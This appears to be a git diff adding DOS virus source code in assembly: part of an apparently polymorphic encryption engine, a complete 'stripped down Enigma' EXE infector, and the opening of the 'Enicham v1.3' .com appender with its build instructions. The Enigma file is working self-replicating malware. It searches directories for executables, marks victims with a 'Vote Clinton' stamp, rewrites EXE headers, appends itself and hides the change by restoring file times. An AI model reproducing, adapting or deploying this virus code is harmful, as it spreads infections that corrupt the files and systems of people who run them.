||||
|
||||
del_reg: push ax
|
||||
cbw
|
||||
call conv_num ; convert to bit number
|
||||
or bp,ax ; restore register
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( convert number to bit map )==========================================;
|
||||
|
||||
conv_num: push cx
|
||||
mov cl,al
|
||||
mov al,1
|
||||
shl al,cl
|
||||
pop cx
|
||||
retn
|
||||
|
||||
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
|
||||
|
||||
order: call garble
|
||||
mov ax,2
|
||||
call random
|
||||
xchg cx,ax
|
||||
inc cx
|
||||
order_loop: call boolean
|
||||
jnz order1
|
||||
xchg bx,ax
|
||||
order1: call boolean
|
||||
jnz order2
|
||||
xchg dx,ax
|
||||
order2: call boolean
|
||||
jnz order3
|
||||
xchg si,ax
|
||||
order3: loop order_loop
|
||||
push si dx bx ax
|
||||
order_ret: retn
|
||||
|
||||
;=====( return random number between 0 and ffff in bx )======================;
|
||||
|
||||
random_bx: xchg bx,ax
|
||||
call random
|
||||
xchg bx,ax
|
||||
retn
|
||||
|
||||
;=====( flip Sign bit )======================================================;
|
||||
|
||||
boolean: push ax
|
||||
mov ax,1
|
||||
call random
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( return random number between 0 and ffff )============================;
|
||||
|
||||
random_1: mov ax,-1
|
||||
|
||||
;=====( Generate random number between 0 and AX )============================;
|
||||
|
||||
random: push ds bx cx dx ax
|
||||
xor ax,ax
|
||||
int 1ah
|
||||
push cs
|
||||
pop ds
|
||||
in al,40h
|
||||
xchg cx,ax
|
||||
xchg dx,ax
|
||||
mov bx,offset ran_num
|
||||
xor ds:[bx],ax
|
||||
rol word ptr ds:[bx],cl
|
||||
xor cx,ds:[bx]
|
||||
rol ax,cl
|
||||
xor dx,ds:[bx]
|
||||
ror dx,cl
|
||||
xor ax,dx
|
||||
imul dx
|
||||
xor ax,dx
|
||||
xor ds:[bx],ax
|
||||
pop cx
|
||||
xor dx,dx
|
||||
inc cx
|
||||
je random_ret
|
||||
div cx
|
||||
xchg ax,dx
|
||||
random_ret: pop dx cx bx ds
|
||||
or ax,ax
|
||||
retn
|
||||
|
||||
ran_num dw ?
|
||||
|
||||
;=====( Encrypts the code/writes it/decrypts code )==========================;
|
||||
|
||||
encode: mov bx,ds:handle
|
||||
mov ax,0
|
||||
key = word ptr $ - 2
|
||||
mov cx,(decrypt-v_start)/2
|
||||
xor di,di
|
||||
encode_break: clc
|
||||
clc
|
||||
clc
|
||||
clc ; XCHG CX,AX XCHG CX,AX
|
||||
clc
|
||||
clc ; CLC ADD AX,xxxx / XOR [DI],AX
|
||||
clc
|
||||
clc ; XOR [DI],AX / CLC ADD AX,xxxx
|
||||
inc di
|
||||
inc di
|
||||
loop encode_break
|
||||
encode_ret = byte ptr $
|
||||
mov ah,40h
|
||||
mov cx,file_size
|
||||
cwd
|
||||
pushf
|
||||
call cs:int_21
|
||||
jc encode_flag
|
||||
sub ax,cx
|
||||
encode_flag: pushf
|
||||
pop bp
|
||||
mov word ptr ds:[si],0
|
||||
encode_flip = word ptr $ - 2
|
||||
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
|
||||
jmp encode
|
||||
encode_end:
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,979 @@
|
||||
code segment
|
||||
assume cs:code
|
||||
|
||||
;A stripped down Enigma.
|
||||
|
||||
data_area struc ;Define a pattern for working data
|
||||
;area
|
||||
DS_save dw ?
|
||||
ES_save dw ?
|
||||
IP_save dw ?
|
||||
CS_save dw ?
|
||||
SS_save dw ?
|
||||
filematch db '*.exe',00h ;Names for files to infect
|
||||
matchall db '*.*',00h ;needed for the matching procedure
|
||||
infected dw 00h ;A very useful flag
|
||||
help_flag dw 00h ;These two flags are needed to
|
||||
where_from_flag dw 00h ;determine if virus is free running
|
||||
;or from an infected program
|
||||
;therefore it's very important
|
||||
;that where_from_flag value
|
||||
;is set to zero at assembly time
|
||||
handle dw ?
|
||||
ip_old dw ? ;old instruction pointer
|
||||
cs_old dw ? ;old value of code segment
|
||||
ss_old dw ?
|
||||
far_push dw ?
|
||||
save_push dw ?
|
||||
buffer1 db '\',63 dup (?)
|
||||
virus_stamp db 'Vote Clinton' ;Very hard to obtain in
|
||||
;a random way
|
||||
|
||||
question db 'Press any key to continue...$'
|
||||
buffer2 db 2b0h dup (?)
|
||||
new_area db 64 dup (?)
|
||||
new_data db 64 dup (?)
|
||||
pointer1 dw ?
|
||||
pointer2 dw ?
|
||||
pointer3 dw ?
|
||||
pointer4 dw ?
|
||||
pointer5 dw ?
|
||||
pointer6 dw ?
|
||||
pointer7 dw ?
|
||||
pointer8 dw ?
|
||||
|
||||
data_area ends
|
||||
|
||||
org 100h ;Defined for .com file as virus must
|
||||
;be able to run on itself
|
||||
start: call setup_data ;This is a near call therefore it's a
|
||||
;three byte instruction.It's purpose is
|
||||
;to catch correct data area address
|
||||
;even when virus is appended to the
|
||||
;infected .exe program
|
||||
adjust equ offset pgm_start ;Known offset value
|
||||
pgm_start label word ;
|
||||
|
||||
virussize equ 2793
|
||||
|
||||
work: mov ax,ds ;Save old DS
|
||||
push cs
|
||||
pop ds ;Update to needed DS value
|
||||
mov si,offset buffer.DS_save ;Put old DS in a quiet place
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
|
||||
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs ;Imperative because DI usage
|
||||
pop es
|
||||
|
||||
push bx ;It's imperative to always keep
|
||||
;this value unchanged
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
|
||||
mov cx,bx ;save address found
|
||||
pop bx
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
add si,2 ;Locate the segment immediately above
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset buffer.buffer1 ;adjust for first search
|
||||
inc di ;Jump over the '\'
|
||||
sub di,adjust
|
||||
add di,bx
|
||||
mov dx,0000h
|
||||
push bx
|
||||
call search_exe
|
||||
pop bx
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
cmp word ptr [si],0000h
|
||||
jnz infected_run
|
||||
int 020H
|
||||
|
||||
infected_run:
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si]
|
||||
push ds
|
||||
mov ax,[si+2]
|
||||
mov ds,ax
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop bx
|
||||
pop ds ;Restore original DTA
|
||||
|
||||
mov si,offset buffer.ES_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov es,ax ;Restore ES
|
||||
|
||||
call ask_question
|
||||
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.far_push ;Restore original code
|
||||
sub si,adjust ;segment
|
||||
add si,bx
|
||||
mov cx,[si]
|
||||
push ax
|
||||
mov ax,cs
|
||||
sub ax,cx
|
||||
mov di,ax ;For stack
|
||||
add dx,ax
|
||||
pop ax
|
||||
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust ;Restore stack segment
|
||||
add si,bx
|
||||
mov cx,word ptr [si]
|
||||
add cx,di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
cli
|
||||
mov ss,cx
|
||||
sti
|
||||
|
||||
|
||||
push dx
|
||||
push ax
|
||||
ret far
|
||||
|
||||
|
||||
search_exe PROC
|
||||
|
||||
push si
|
||||
push dx
|
||||
call transfer_filespec ;transfer filename in another
|
||||
;working area
|
||||
call find_first ;try to find a first match
|
||||
jc not_here ;first match not found
|
||||
call try_to_infect ;if found try to infect
|
||||
;infected != 0 if success
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
jmp quiet_exit
|
||||
|
||||
try_next:
|
||||
call find_next ;If infection was not succesful
|
||||
;try once more
|
||||
jc not_here
|
||||
|
||||
call try_to_infect ;If match found try to infect
|
||||
mov si,offset buffer.infected ;again
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
|
||||
jmp quiet_exit ;quiet exit simply jumps
|
||||
;to a return instruction
|
||||
not_here:
|
||||
pop dx ;If first searches are
|
||||
push dx ;unsuccesful try a '*.*' match
|
||||
call search_all
|
||||
call find_first
|
||||
jnc attribute_test ;i.e. expect probably to
|
||||
;find a subdirectory
|
||||
quiet_exit:
|
||||
pop dx
|
||||
pop si
|
||||
ret
|
||||
|
||||
attribute_test:
|
||||
mov si,dx ;offset of DTA
|
||||
test byte ptr [si+015h],010h ;where attribute byte is to
|
||||
;be found.Try first with
|
||||
;subdirectory attribute
|
||||
jne dir_found ;subdirectory found
|
||||
more_tries:
|
||||
call find_next ;Since the search was initiated
|
||||
;with '*.*' if this is not a
|
||||
;directory try to found one
|
||||
jc quiet_exit ;No sense to search more
|
||||
|
||||
test byte ptr [si+015h],010h
|
||||
jz more_tries ;Search to the end
|
||||
dir_found:
|
||||
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
|
||||
;mark '.'
|
||||
jz more_tries ;looking for files no
|
||||
;subdirectories
|
||||
|
||||
call dta_compute ;Valid entry, now set some DTA
|
||||
;and continue to search
|
||||
push ax
|
||||
mov ah,01Ah ;Set DTA function call
|
||||
int 021h
|
||||
pop ax
|
||||
push si
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
pop si
|
||||
jnz quiet_exit
|
||||
|
||||
jmp more_tries
|
||||
|
||||
|
||||
search_exe ENDP
|
||||
|
||||
dta_compute PROC
|
||||
|
||||
push di ;Save some registers
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
cld ;Up count for SI,DI pair
|
||||
mov si,dx ;DTA address to SI
|
||||
add si,01EH ;and add subdirectory
|
||||
;name offset
|
||||
|
||||
store_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jne store_loop ;store loop
|
||||
|
||||
std
|
||||
stosb
|
||||
mov al,05Ch ;Put in place the path name
|
||||
;constructor
|
||||
|
||||
stosb
|
||||
add di,2 ;Adjust di for new searches
|
||||
call search_exe ;
|
||||
;a heavily recursion
|
||||
;
|
||||
pop bx ;some cleanup and exit
|
||||
;
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
ret
|
||||
|
||||
dta_compute ENDP
|
||||
|
||||
try_to_infect PROC
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
push bx
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
mov ax,bx
|
||||
pop bx
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Offset saved
|
||||
add si,2
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
pop es ;Segment located just above
|
||||
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h ;Set DTA function call
|
||||
pop bx ;It's very important to
|
||||
;save BX in all calls
|
||||
|
||||
mov di,offset buffer.new_area
|
||||
mov si,offset buffer.buffer1
|
||||
sub di,adjust
|
||||
sub si,adjust
|
||||
add di,bx
|
||||
add si,bx
|
||||
|
||||
cld ;Move previously found path-
|
||||
;name or filename to new
|
||||
;data area
|
||||
move_path:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_path
|
||||
std ;adjust DI to recieve
|
||||
mov al,'\' ;filename.
|
||||
mov cx,0040h
|
||||
std ;Search backward
|
||||
repne scasb
|
||||
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,ax
|
||||
add di,2
|
||||
|
||||
o_kay:
|
||||
add si,001eh ;The beginning of the
|
||||
;filename...
|
||||
cld ;Now move name
|
||||
|
||||
move_fnm:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_fnm
|
||||
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_area
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ax,3d02h ;Open file with handle
|
||||
;for read/write
|
||||
int 21h
|
||||
pop bx
|
||||
pop dx
|
||||
jnc go_ahead ;In case file cannot be opened
|
||||
jmp error_exit
|
||||
|
||||
go_ahead:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Save handle
|
||||
|
||||
push bx
|
||||
mov bx,ax ;Prepare for lseek
|
||||
push dx
|
||||
mov cx,0000h ;Look at the end of the file
|
||||
mov dx,0000h ;Offset of -12 from the end
|
||||
;of the file
|
||||
mov ax,4202h ;Lseek function call
|
||||
int 21h
|
||||
mov cx,dx
|
||||
pop dx
|
||||
pop bx
|
||||
jnc compute_length
|
||||
jmp close_error
|
||||
|
||||
compute_length:
|
||||
|
||||
sub ax,000ch
|
||||
sbb cx,0000h ;Exact position
|
||||
|
||||
|
||||
save_offset: ;
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
add si,2
|
||||
mov [si],cx
|
||||
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov dx,ax
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_buffer
|
||||
jmp close_error
|
||||
|
||||
set_buffer:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,000ch
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_ok
|
||||
jmp close_error
|
||||
|
||||
read_ok:
|
||||
mov si,offset buffer.virus_stamp
|
||||
mov di,offset buffer.new_data
|
||||
sub si,adjust
|
||||
sub di,adjust
|
||||
add si,bx
|
||||
add di,bx
|
||||
mov cx,12 ;Length of strings to
|
||||
;compare
|
||||
repe cmpsb
|
||||
pushf
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],0000h
|
||||
popf
|
||||
jnz infect_it
|
||||
|
||||
close_error:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
push bx
|
||||
mov bx,[si]
|
||||
mov ax,3e00h ;Close file function call
|
||||
int 21h
|
||||
pop bx
|
||||
jmp error_exit
|
||||
|
||||
infect_it:
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],7777h
|
||||
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
sub si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;where_from_flag into help_flag
|
||||
|
||||
add si,2
|
||||
mov [si],5a5ah ;Ready to infect
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_new_data
|
||||
jmp append_ok
|
||||
|
||||
set_new_data:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Read formatted exe header
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_header
|
||||
jmp append_ok
|
||||
|
||||
read_header:
|
||||
nop ;some code to modify header
|
||||
;
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
add ax,0ch
|
||||
adc word ptr [si],0000h
|
||||
sub si,2
|
||||
mov [si],ax ;This code restores original
|
||||
;filelength
|
||||
|
||||
mov si,offset buffer.new_data
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
cmp ax,5a4dh ;check for valid exe file
|
||||
jz valid_exe
|
||||
jmp append_ok
|
||||
|
||||
valid_exe:
|
||||
mov ax,[si+8] ;Load module size
|
||||
xor dx,dx
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
push ax
|
||||
push dx ;Adjust new size
|
||||
push cx
|
||||
mov dx,virussize-896+64
|
||||
push dx
|
||||
mov cx,0009h
|
||||
shr dx,cl
|
||||
add word ptr [si+4],dx
|
||||
pop dx
|
||||
and dx,01ffh
|
||||
add dx,word ptr [si+2]
|
||||
cmp dx,512
|
||||
jl adjust_okay
|
||||
sub dx,512
|
||||
inc word ptr [si+4]
|
||||
adjust_okay:
|
||||
mov word ptr [si+2],dx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
|
||||
push si ;This SI is very useful so save it
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
sub [si],ax
|
||||
mov ax,[si]
|
||||
sbb [si+2],dx
|
||||
mov dx,[si+2] ;the byte size of the load module
|
||||
|
||||
|
||||
pop si
|
||||
push ax
|
||||
push dx
|
||||
mov ax,[si+14h]
|
||||
mov dx,[si+16h] ;Get CS:IP value
|
||||
mov cx,[si+0eh] ;Get SS value
|
||||
push si
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],ax
|
||||
xchg [si+2],dx
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],cx
|
||||
mov si,offset buffer.ip_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
pop si
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push ax
|
||||
push dx
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
mov cx,0008h
|
||||
shl dx,cl
|
||||
mov cx,0004h
|
||||
shr ax,cl ;A very obscure algorithm to make
|
||||
;a segment:offset pair
|
||||
mov [si+14h],ax
|
||||
mov [si+16h],dx ;Infected values
|
||||
|
||||
push si
|
||||
mov si,offset buffer.far_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],dx
|
||||
mov word ptr [si+2],dx
|
||||
pop si
|
||||
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virussize ;
|
||||
adc dx,0000h
|
||||
|
||||
mov cx,0003h
|
||||
mul_loop:
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 4096
|
||||
loop mul_loop
|
||||
|
||||
or ax,ax
|
||||
jz exact_value
|
||||
inc dx
|
||||
exact_value:
|
||||
mov [si+0eh],dx ;Infected stack segment
|
||||
|
||||
;Write back infected header
|
||||
push si
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5700h ;Get time function
|
||||
int 21h
|
||||
pop bx
|
||||
pop si
|
||||
jnc correct_time
|
||||
jmp append_ok1
|
||||
|
||||
correct_time:
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc continue_infection
|
||||
jmp append_ok1
|
||||
|
||||
continue_infection:
|
||||
|
||||
push cx
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Write infected exe header
|
||||
mov ax,4000h
|
||||
int 21h ;Write function call
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
jnc glue_virus
|
||||
jmp append_ok1
|
||||
|
||||
glue_virus:
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;From the end of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc write_data
|
||||
jmp append_ok1
|
||||
|
||||
write_data:
|
||||
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
|
||||
push dx
|
||||
push cx
|
||||
|
||||
mov dx,bx
|
||||
sub dx,3 ;The starting three byte
|
||||
;call instruction
|
||||
push es
|
||||
push bx
|
||||
push dx
|
||||
push si
|
||||
mov ax,2f00h
|
||||
int 21h
|
||||
pop si
|
||||
pop dx
|
||||
|
||||
push es
|
||||
push bx
|
||||
|
||||
push si
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop si
|
||||
|
||||
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,virussize-896+64 ;Length of virus obtained
|
||||
mov ax,4000h ;with dir
|
||||
int 21h
|
||||
lahf ;Write function call
|
||||
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
push ax
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop ax
|
||||
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
|
||||
sahf
|
||||
jnc put_stamp ;Error or not file
|
||||
jmp append_ok1 ;is closed
|
||||
|
||||
put_stamp:
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5701h ;Set time function
|
||||
int 21h
|
||||
pop bx
|
||||
|
||||
append_ok1:
|
||||
|
||||
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
|
||||
mov si,offset buffer.save_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov word ptr [si-2],ax
|
||||
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],ax
|
||||
|
||||
|
||||
append_ok:
|
||||
mov si,offset buffer.help_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;help_flag into where_from_flag
|
||||
|
||||
|
||||
jmp close_error ;
|
||||
|
||||
error_exit:
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si] ;Restore original DTA
|
||||
add si,2
|
||||
mov ax,[si]
|
||||
push ds
|
||||
mov ds,ax
|
||||
mov ax,1a00h ;Set DTA function call
|
||||
int 21h
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
try_to_infect ENDP
|
||||
|
||||
transfer_filespec PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.filematch ;Transfer name to the working
|
||||
;area
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
transfer_filespec ENDP
|
||||
|
||||
search_all PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.matchall ;This is the '*.*' filename
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
search_all ENDP
|
||||
|
||||
byte_move PROC
|
||||
|
||||
push ax
|
||||
push di
|
||||
|
||||
cld
|
||||
|
||||
move_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al ;The string to move is ASCIIZ
|
||||
jne move_loop
|
||||
pop di
|
||||
pop ax
|
||||
ret
|
||||
|
||||
byte_move ENDP
|
||||
|
||||
find_first PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
cmp dx,0000h
|
||||
jnbe over_set
|
||||
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
||||
sub dx,adjust ;or Disk Transfer area
|
||||
add dx,bx ;
|
||||
over_set:
|
||||
add dx,02Bh
|
||||
mov cx,00010h ;Attribute byte for
|
||||
;directory search
|
||||
mov ah,01ah
|
||||
int 021h ;Set DTA function call
|
||||
|
||||
pop bx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ah,04eh ;find first
|
||||
;function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_first ENDP
|
||||
|
||||
find_next PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov cx,00010h
|
||||
mov ah,04fh ;Find next function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_next ENDP
|
||||
|
||||
ask_question PROC
|
||||
|
||||
mov dx,offset buffer.question
|
||||
mov ax,09
|
||||
int 21h
|
||||
xor ax,ax
|
||||
int 16h
|
||||
|
||||
ask_question ENDP
|
||||
|
||||
|
||||
setup_data:
|
||||
cli
|
||||
pop bx ;This will catch instruction pointer
|
||||
push bx
|
||||
sti ;value and after that restore stack
|
||||
ret ;pointer value
|
||||
|
||||
|
||||
buffer data_area <> ;Reseve data_area space
|
||||
|
||||
code ends
|
||||
END start
|
||||
@@ -0,0 +1,230 @@
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - runtime .com appender with one layer of encryption | Size: 543 ;
|
||||
; v1.1 - restores time/date & attributes + infects readonly `---------- ;
|
||||
; v1.2 - add second layer of XOR,NEG,NOT,ROR,ROL encryption ;
|
||||
; v1.3 - add small payload, show our presence every tuesday ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------------------> This Is For Christine Moore <--------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm enicham.asm ;
|
||||
; to link :::::] tlink /t enicham.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
jumps ; save space jumping
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into BP
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
decr: jmp once ; jump to once (overwritten)
|
||||
lea si,[bp+encd] ; start of encrypted stuff
|
||||
mov di,si ; move si into di
|
||||
call encr ; call our decryption loop
|
||||
|
||||
; -------------------( Start Of 1st Encryption Blanket )------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encd: lea si,[bp+d_encd] ; start address of layer 2
|
||||
mov di,si ; move it into DI
|
||||
mov cx,d_encr-d_encd ; # of bytes to decrypt
|
||||
call d_encr ; second layer decrypted
|
||||
|
||||
; -------------------( Start Of 2nd Encryption Blanket )------------------- ;
|
||||
